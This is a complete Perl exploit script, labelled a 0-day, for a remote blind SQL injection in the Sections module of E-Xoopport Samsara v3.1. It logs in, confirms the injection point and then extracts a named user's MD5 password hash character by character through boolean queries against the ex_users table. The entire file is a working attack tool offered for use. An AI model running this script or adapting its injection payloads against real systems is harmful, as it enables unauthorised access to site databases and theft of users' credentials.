#!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara <= v3.1 (Sections Module 2) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_ & Dante90, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Web Site: www.warwolfz.org
 
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
 
$^O eq 'MSWin32' ? system('cls') : system('clear');
 
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
";
 
if (@ARGV != 4) {
    print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
    exit;
}
 
$host    = $ARGV[0];
$usr     = $ARGV[1];
$pwd     = $ARGV[2];
$anickde = $ARGV[3];
$anick   = '0x'.EncHex($anickde);
 
print "[+] Logging In...\r\n";
my %postdata = (
    uname => "$usr",
    pass => "$pwd"
);
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = (POST $host, \%postdata);
my $cookies = HTTP::Cookies->new();
$request    = $ua->request($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<head><meta http-equiv="Refresh" content="0; URL=modules\/news\/" \/><\/head>/i) {
    print "[+] Logged in\r\n";
} else {
    print "[-] Fatal Error: username/password incorrect?\r\n";
    exit;
}
 
print "[!] Retriving section id...\r\n";
$idi = 0;
while ($idi != 11) {
    $idi++;
    $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla 5.0");
    my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$idi";
    $request    = $ua->get($req);
    $ua->cookie_jar($cookies);
    $content    = $request->content;
    if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
        $secid = $idi;
        last;
    }
}
 
if(!defined $secid) {
    print "[-] Fatal Error: Section id not found!\r\n";
    exit;
} else {
    print "[+] Section id '$secid' retrieved\r\n";
}
 
print "[!] Checking path...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /Ecco i documenti della sezione/i) {
    print "[+] Correct Path\r\n";
} else {
    print "[-] Fatal Error: Wrong Path\r\n";
    exit;
}
 
print "[!] Checking if vulnerability has been fixed...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+1=1";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Vulnerability has not been fixed...\r\n";
} else {
    print "[-] Fatal Error: Vulnerability has been fixed\r\n";
    open LOGG, ">log.html";
    print LOGG $content;
    close LOGG;
    exit;
}
 
print "[!] Checking nick to hack...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),32,1))>0";
$request    = $ua->get($req);
$ua->cookie_jar($cookies);
$content    = $request->content;
if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
    print "[+] Nick exists...\r\n";
} else {
    print "[-] Fatal Error: Nick does not exists\r\n";
    exit;
}
 
print "[!] Exploiting...\r\n";
my $i = 1;
while ($i != 33) {
    my $wn  = 47;
    while (1) {
        $wn++;
        $ua = LWP::UserAgent->new;
        $ua->agent("Mozilla 5.0");
        my $req     = $host."/modules/sections/index.php?op=listarticles&secid=$secid+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
        $request    = $ua->get($req);
        $ua->cookie_jar($cookies);
        $content    = $request->content;
        if ($content =~ /<center>Ecco i documenti della sezione <b>(.+)<\/b>/ig) {
            $pwdchr .= chr($wn);
            $^O eq 'MSWin32' ? system('cls') : system('clear');
            PrintChars($anickde, $pwdchr, $secid);
            last;
        }
    }
    $i++;
}
 
print "\r\n[+] Exploiting completed!\r\n\r\n";
print "Visit: www.warwolfz.net\r\n\r\n";
 
sub PrintChars {
$anick1 = $_[0];
$chars = $_[1];
$secid = $_[2];
print "
E-Xoopport - Samsara <= v3.1 (Sections Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (Sections Module) |
| Author/s: _mRkZ_ & Dante90, WaRWolFz Crew         |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
[+] Logging In...
[+] Logged in
[!] Retriving section id...
[+] Section id '$secid' retrived
[!] Checking path...
[+] Correct Path
[!] Checking if vulnerability has been fixed...
[+] Vulnerability has not been fixed...
[!] Checking nick to hack...
[+] Nick exists...
[!] Exploiting...
[+] ".$anick1."'s md5 Password: $chars
";
}
 
sub EncHex {
    $char = $_[0];
    chomp $char;
    @trans = unpack("H*", "$char");
    return $trans[0];
}